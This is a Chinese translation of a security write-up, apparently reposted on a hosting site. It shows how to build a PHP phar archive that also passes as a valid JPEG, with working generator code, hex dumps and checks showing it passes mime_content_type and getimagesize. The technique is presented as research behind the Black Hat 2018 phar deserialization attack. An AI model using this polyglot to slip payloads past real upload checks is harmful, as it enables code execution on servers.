在us blackhat 2018大会上,安全人员证明,攻击者不仅可以利用phar包发动rce攻击,而且,通过调整其二进制内容,他们还可以将其伪装成一幅图像,从而绕过安全检查。
在本文中,我们来看看第二点是如何做到的。
背景知识
在us blackhat 2018大会期间,sam thomas召开了一个关于在php中利用 phar:// 流包装器来实现针对服务器的代码执行攻击的研讨会( 幻灯片 )。
在运行phar包时,由于php会对其内容进行反序列化,从而允许攻击者启动一个php对象包含链。其中,最有趣的部分在于如何触发有效载荷:归档上的任何文件操作都将执行它。最后,攻击者根本无需关心文件名是否正确,因为即使是失败的文件调用,php也会对其内容进行反序列化处理。
此外,攻击者完全可以将phar包伪装成一幅图像:在这篇文章中,我们将为读者解释他们是如何做到这一点的。
降至字节码级别
有时我们会忘记这一点,那就是在机器眼里,文件只不过是一堆遵循预定义结构的字节而已。对于应用程序而言,将检查自己是否可以管理这样的数据流,如果可以的话,就会生成相应的输出。
在thomas的演讲中,曾提示如何创建具有有效jpeg头部的phar包。
图片引自sam thomas的幻灯片
不过,这里我们要做的是创建一个具有jpeg头部的文件,并更新phar的校验和。这样一来,phar包一方面会被视为一个图像,同时,php还可以继续执行它。
开始下手
听起来,这里只需修改几个字节并更新校验,按说应该非常轻松,对吧?
然而,事实并非如此。
计算校验和(至少对我来说)是一件让人头痛的事情。所以,我想:如果让php来代劳的话,会怎样呢?
所以,我对thomas的原始剧本进行了一番改造,具体如下所示:
|
1
2
3
4
5
6
7
8
9
|
<?php
class testobject {}
$phar = new phar("phar.phar");
$phar->startbuffering();
$phar->addfromstring("test.txt","test");
$phar->setstub("\\xff\\xd8\\xff\\xfe\\x13\\xfa\\x78\\x74 __halt_compiler(); ?>");
$o = new testobject();
$phar->setmetadata($o);
$phar->stopbuffering();
|
如您所见,这里将原始hex字节添加到了phar存档的存根部分。下面是原始hex得到的结果:
|
1
2
3
4
5
6
7
8
9
10
|
tampe125@alphacentauri:~$ xxd phar.jpeg
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __halt_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a compiler(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 l...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......o:10:"test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....gbmb
|
这同时是一个合法的phar包,以及一幅合法的jpeg图像吗?
|
1
2
3
4
5
6
7
8
9
|
tampe125@alphacentauri:~$ file phar.jpeg
phar.jpeg: jpeg image data
tampe125@alphacentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
|
看到了吧,php将其视为一幅图像,我们仍然可以探索存档的内容。哈哈,好玩吧!
注意:请仔细查看存根部分,看看它是如何“跳过”开头部分的php标记的。因为这里是绕过大多数内容扫描程序的关键所在。对于存档来说,是否有效的关键在于函数 __halt_compiler() ; 我认为,php会通过它来确定出应该“跳过”多少数据。
更进一步
到目前为止,我们制作的文件已经可以通过任何基于文件头的类型检测了,但是,对于更高级的检测方法来说,它就无能为力了。例如,使用 getimagesize 来检查文件内容是否为图像的话,将返回false,因为它并不是一幅“真正”的图像:
|
1
2
3
4
|
tampe125@alphacentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)
|
看到了吧。
但是,别忘了,我们可以在 __halt_compiler() 标记之前填充任意的数据的,所以,如果我们在此填入一幅完整的图像的话,会怎样呢?于是,我花了大量的时间去研读 jpeg规范 和 php源代码 ,不过最后仍然没有理出头绪,所以,我果断决定放弃——太复杂了。
那么,能否直接使用gimp创建10×10黑色图像并嵌入其中呢?
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
class testobject {}
$jpeg_header_size =
"\\xff\\xd8\\xff\\xe0\\x00\\x10\\x4a\\x46\\x49\\x46\\x00\\x01\\x01\\x01\\x00\\x48\\x00\\x48\\x00\\x00\\xff\\xfe\\x00\\x13".
"\\x43\\x72\\x65\\x61\\x74\\x65\\x64\\x20\\x77\\x69\\x74\\x68\\x20\\x47\\x49\\x4d\\x50\\xff\\xdb\\x00\\x43\\x00\\x03\\x02".
"\\x02\\x03\\x02\\x02\\x03\\x03\\x03\\x03\\x04\\x03\\x03\\x04\\x05\\x08\\x05\\x05\\x04\\x04\\x05\\x0a\\x07\\x07\\x06\\x08\\x0c\\x0a\\x0c\\x0c\\x0b\\x0a\\x0b\\x0b\\x0d\\x0e\\x12\\x10\\x0d\\x0e\\x11\\x0e\\x0b\\x0b\\x10\\x16\\x10\\x11\\x13\\x14\\x15\\x15".
"\\x15\\x0c\\x0f\\x17\\x18\\x16\\x14\\x18\\x12\\x14\\x15\\x14\\xff\\xdb\\x00\\x43\\x01\\x03\\x04\\x04\\x05\\x04\\x05\\x09\\x05\\x05\\x09\\x14\\x0d\\x0b\\x0d\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14".
"\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\x14\\xff\\xc2\\x00\\x11\\x08\\x00\\x0a\\x00\\x0a\\x03\\x01\\x11\\x00\\x02\\x11\\x01\\x03\\x11\\x01".
"\\xff\\xc4\\x00\\x15\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\xff\\xc4\\x00\\x14\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xda\\x00\\x0c\\x03".
"\\x01\\x00\\x02\\x10\\x03\\x10\\x00\\x00\\x01\\x95\\x00\\x07\\xff\\xc4\\x00\\x14\\x10\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x01\\x05\\x02\\x1f\\xff\\xc4\\x00\\x14\\x11".
"\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x03\\x01\\x01\\x3f\\x01\\x1f\\xff\\xc4\\x00\\x14\\x11\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20".
"\\xff\\xda\\x00\\x08\\x01\\x02\\x01\\x01\\x3f\\x01\\x1f\\xff\\xc4\\x00\\x14\\x10\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x06\\x3f\\x02\\x1f\\xff\\xc4\\x00\\x14\\x10\\x01".
"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x01\\x3f\\x21\\x1f\\xff\\xda\\x00\\x0c\\x03\\x01\\x00\\x02\\x00\\x03\\x00\\x00\\x00\\x10\\x92\\x4f\\xff\\xc4\\x00\\x14\\x11\\x01\\x00".
"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x03\\x01\\x01\\x3f\\x10\\x1f\\xff\\xc4\\x00\\x14\\x11\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda".
"\\x00\\x08\\x01\\x02\\x01\\x01\\x3f\\x10\\x1f\\xff\\xc4\\x00\\x14\\x10\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x01\\x3f\\x10\\x1f\\xff\\xd9";
$phar = new phar("phar.phar");
$phar->startbuffering();
$phar->addfromstring("test.txt","test");
$phar->setstub($jpeg_header_size." __halt_compiler(); ?>");
$o = new testobject();
$phar->setmetadata($o);
$phar->stopbuffering();
|
好了,看看效果如何:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
tampe125@alphacentauri:~$ file phar.jpeg
phar.jpeg: jpeg image data, jfif standard 1.01, resolution (dpi), density 72x72, segment length 16, comment: "created with gimp", progressive, precision 8, 10x10, frames 3
tampe125@alphacentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
[0] =>
int(10)
[1] =>
int(10)
[2] =>
int(2)
[3] =>
string(22) "width="10" height="10""
'bits' =>
int(8)
'channels' =>
int(3)
'mime' =>
string(10) "image/jpeg"
}
|
这次,我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的phar包,同时,它还是一幅合法的图像(我们甚至可以用系统图像查看器打开它):
小结
正如我们刚才看到的,文件实际上只是一堆字节而已:如果我们只是利用其元数据进行类型检测的话,那么很可能会出错:攻击者可以轻松绕过检测,并返回他们想要的文件类型。要想检测文件类型,更加可靠的解决方案是直接读取文件内容并搜索恶意字符串。
原文链接:https://xz.aliyun.com/t/2867
相关文章
- 64M VPS建站:怎样选择合适的域名和SSL证书? 2025-06-10
- 64M VPS建站:怎样优化以提高网站加载速度? 2025-06-10
- 64M VPS建站:是否适合初学者操作和管理? 2025-06-10
- ASP.NET自助建站系统中的用户注册和登录功能定制方法 2025-06-10
- ASP.NET自助建站系统的域名绑定与解析教程 2025-06-10
- 2025-07-10 怎样使用阿里云的安全工具进行服务器漏洞扫描和修复?
- 2025-07-10 怎样使用命令行工具优化Linux云服务器的Ping性能?
- 2025-07-10 怎样使用Xshell连接华为云服务器,实现高效远程管理?
- 2025-07-10 怎样利用云服务器D盘搭建稳定、高效的网站托管环境?
- 2025-07-10 怎样使用阿里云的安全组功能来增强服务器防火墙的安全性?
快网idc优惠网
QQ交流群
-
2025-05-25 97
-
2025-05-29 66
-
2025-05-29 95
-
2025-06-04 99
-
Debian 8或Debian 9(64 位)安装 .NET Core
2025-05-29 109



